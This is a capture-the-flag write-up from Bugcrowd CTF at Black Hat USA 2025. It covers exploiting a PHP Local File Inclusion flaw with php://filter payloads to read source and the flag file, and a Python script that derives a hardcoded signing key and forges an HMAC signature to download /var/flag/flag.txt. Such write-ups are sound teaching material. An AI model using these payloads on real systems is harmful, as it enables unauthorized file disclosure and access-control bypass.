# Exploiting an LFI Vulnerability and Forging a Signature in BugcrowdCTF

## Introduction

During Bugcrowd CTF at Black Hat USA 2025, I tackled a web challenge involving SecureFile Solutions, a document management system with a hidden Local File Inclusion (LFI) vulnerability in its `index.php`. This journey involved exploiting the LFI to access source code, reverse-engineering a signature validation process, and crafting a Python script to forge a signature.

## Step 1: Discovering the LFI Vulnerability

The challenge began with a web application at [`http://web.challenges.bhusa.bugcrowdctf.com:9300/`](http://web.challenges.bhusa.bugcrowdctf.com:9300/). The main entry point `index.php`, used a `page` parameter to load content dynamically. Examining the source code (revealed through the LFI), I found this critical section:

```php
$page = $_GET['page'] ?? 'home';
$safe_page = sanitize_page($page);

if (file_exists("pages/{$safe_page}.php")) {
    include "pages/{$safe_page}.php";
} else {
    $file_content = @file_get_contents($safe_page);
    if ($file_content !== false) {
        echo '<div class="content-card"><pre>' . $file_content . '</pre></div>';
    } else {
        include 'pages/404.php';
    }
}
```

The `sanitize_page` function aimed to prevent directory traversal by blocking inputs like `../` or `/var`:

```php
function sanitize_page($page) {
    if (strpos($page, '../') !== false || strpos($page, '..\\') !== false || strpos($page, '/var') === 0) {
        return 'home';
    }
    return $page;
}
```

However, it didn’t block the `php://filter` wrapper, a classic LFI vector. By sending a request like:

```bash
GET /?page=php://filter/convert.base64-encode/resource=core/file_handler.php
```

I retrieved the base64-encoded contents of `core/file_handler.php`. Repeating this for `lib/security.php`, `lib/crypto_utils.php`, and `lib/hash_engine.php` revealed the app’s internal logic, including file handling and cryptographic operations. Decoding the base64 output gave me the source code, setting the stage for the next step.

This LFI was the key to understanding the system. Without it, accessing the flag would’ve been nearly impossible, as the flag’s location (`/var/flag/flag.txt`) and the required signature was hidden in the code.

## Step 2: Analysing the FileHandler and Signature Logic

The flag was at `/var/flag/flag.txt`, and the `download` page in `index.php` handled file requests:

```php
case 'download':
    require_once 'core/file_handler.php';
    FileHandler::processDownload();
    break;
```

The `FileHandler` class (from `core/file_handler.php`) allowed downloads from specific paths, including `/var/flag/`:

```php
private static $allowed_paths = [
    '/var/flag/',
    '/var/uploads/',
    '/var/documents/',
    './files/'
];

public static function processDownload() {
    $filename = $_GET['file'] ?? null;
    $signature = $_GET['sig'] ?? null;
    if (!$filename) {
        self::renderError('No file specified');
        return;
    }
    if (!self::validateSignature($filename, $signature)) {
        self::renderError('Invalid signature');
        return;
    }
    $filepath = self::locateFile($filename);
    if (!$filepath) {
        self::renderError('File not found');
        return;
    }
    self::serveFile($filepath, $filename);
}
```

The `validateSignature` method checked the signature using:

```php
private static function validateSignature($filename, $provided_signature) {
    $signing_key = self::deriveSigningKey();
    $expected_signature = create_hmac_signature($filename, $signing_key);
    return hash_equals($expected_signature, $provided_signature);
}
```

The `create_hmac_signature` function used HMAC-SHA1:

```php
function create_hmac_signature($data, $key) {
    return hash_hmac('sha1', $data, $key);
}
```

The signing key came from `SecurityManager::deriveSigningKey()`, which called `SecurityManager::initializeKeyDerivation()`.

## Step 3: Reverse-Engineering the Key Derivation

The `SecurityManager` class (from `lib/security.php`) held the master secret:

```php
private static $master_secret = "sf_enterprise_2024_secure_base_key_v2.1";
```

This secret was processed by `CryptoUtils::performStringTransformations` (from `lib/crypto_utils.php`):

```php
public static function performStringTransformations($input_secret) {
    $step1 = self::reverseString($input_secret);
    $step2 = self::xorWithConstant($step1, 0x42);
    $step3 = self::truncateString($step2, 16);
    return HashEngine::processKeyMaterial($step3);
}
```

The steps were:

1. **Reverse**: Reverse the string.
    
2. **XOR**: XOR each character with `0x42`.
    
3. **Truncate**: Take the first 16 characters.
    
4. **Hash**: Pass to `HashEngine::processKeyMaterial`.
    

The `HashEngine` class (from `lib/hash_engine.php`) applied an MD5 hash and truncated to 8 characters:

```php
private static $hash_config = [
    'primary_algo' => 'md5',
    'output_length' => 8
];

public static function processKeyMaterial($transformed_input) {
    $hashed = self::performPrimaryHash($transformed_input);
    $final_key = self::truncateOutput($hashed);
    return $final_key;
}

private static function performPrimaryHash($input) {
    return hash(self::$hash_config['primary_algo'], $input);
}
```

So, the signing key was derived by:

* Reversing `sf_enterprise_2024_secure_base_key_v2.1`.
    
* XORing with `0x42`.
    
* Truncating to 16 characters.
    
* MD5 hashing and taking the first 8 characters.
    

This key was then used to generate an HMAC-SHA1 signature for the filename.

## Step 4: Forging the Signature with Python (~3 min read)

To retrieve the flag, I needed to forge the HMAC-SHA1 signature for `flag.txt`. I wrote a Python script that replicated the key derivation and generated the signature, then sent a request to the CTF server:

```python
import hashlib
import hmac
import requests
import re

def reverse_string(s): return s[::-1]

def xor_with_constant(s, constant): return ''.join(chr(ord(c) ^ constant) for c in s)

def truncate_string(s, length): return s[:length]

def perform_string_transformations(secret):
    step1 = reverse_string(secret) 
    step2 = xor_with_constant(step1, 0x42) 
    step3 = truncate_string(step2, 16) 
    return step3

def process_key_material(transformed_input): 
    hashed = hashlib.md5(transformed_input.encode()).hexdigest() 
    return hashed[:8]

def create_hmac_signature(data, key): 
    return hmac.new(key.encode(), data.encode(), hashlib.sha1).hexdigest()

def main(filename=None):
    secret = "sf_enterprise_2024_secure_base_key_v2.1"
    transformed = perform_string_transformations(secret)
    key_material = process_key_material(transformed)
    signature = create_hmac_signature(filename, key_material)
    
    return signature

if __name__ == "__main__":
    flag_file = "/var/flag/flag.txt"
    signature = main(flag_file)
    print(f"Generated HMAC Signature: {signature}")
    response = requests.get(f"http://web.challenges.bhusa.bugcrowdctf.com:9300/?page=download&file={flag_file}&sig={signature}")
    if response.status_code == 200:
        flag_content = response.text
        
        flag_match = re.search(r'FLAG{.*?}', flag_content)
        if flag_match:
            print(f"Flag found: {flag_match.group(0)}")
        else:
            print("No flag found in the response.")
    else:
        print(f"Failed to retrieve flag. Status Code: {response.status_code}")
```

## How the Script Works

* **Key Derivation**: The `perform_string_transformations` and `process_key_material` functions replicate the PHP logic (reverse, XOR with `0x42`, truncate to 16, MD5, truncate to 8).
    
* **Signature Generation**: `create_hmac_signature` uses Python’s `hmac` module to generate an HMAC-SHA1 signature for `flag.txt` using the derived key.
    
* **Request**: The script sends a GET request to the CTF server with `page=download`, `file=/var/flag/flag.txt`, and the forged `sig`.
    
* **Flag Extraction**: A regex (`FLAG{.*?}`) extracts the flag from the response.
    

Running the script output the signature and sent the request. A 200 status code indicated success, and the regex extracted the flag from the response.

## Conclusion

Solving this challenge was an exhilarating ride through LFI exploitation and signature forging. From uncovering the `php://filter` vulnerability to crafting a Python script to retrieve the flag, every step was a puzzle piece in.

Later, I found out through X that, this particular CTF challenge was leaking solution and challenge details through [README.md](http://README.md) and [solve.py](http://solve.py) and were accessible directly. Also, I later discovered that there was no need to do all these signature operations, as we could directly get the flag through [`http://web.challenges.bhusa.bugcrowdctf.com:9300/?page=php://filter/convert.base64-encode/resource=/var/flag/flag.txt`](http://web.challenges.bhusa.bugcrowdctf.com:9300/?page=php://filter/convert.base64-encode/resource=/var/flag/flag.txt) .
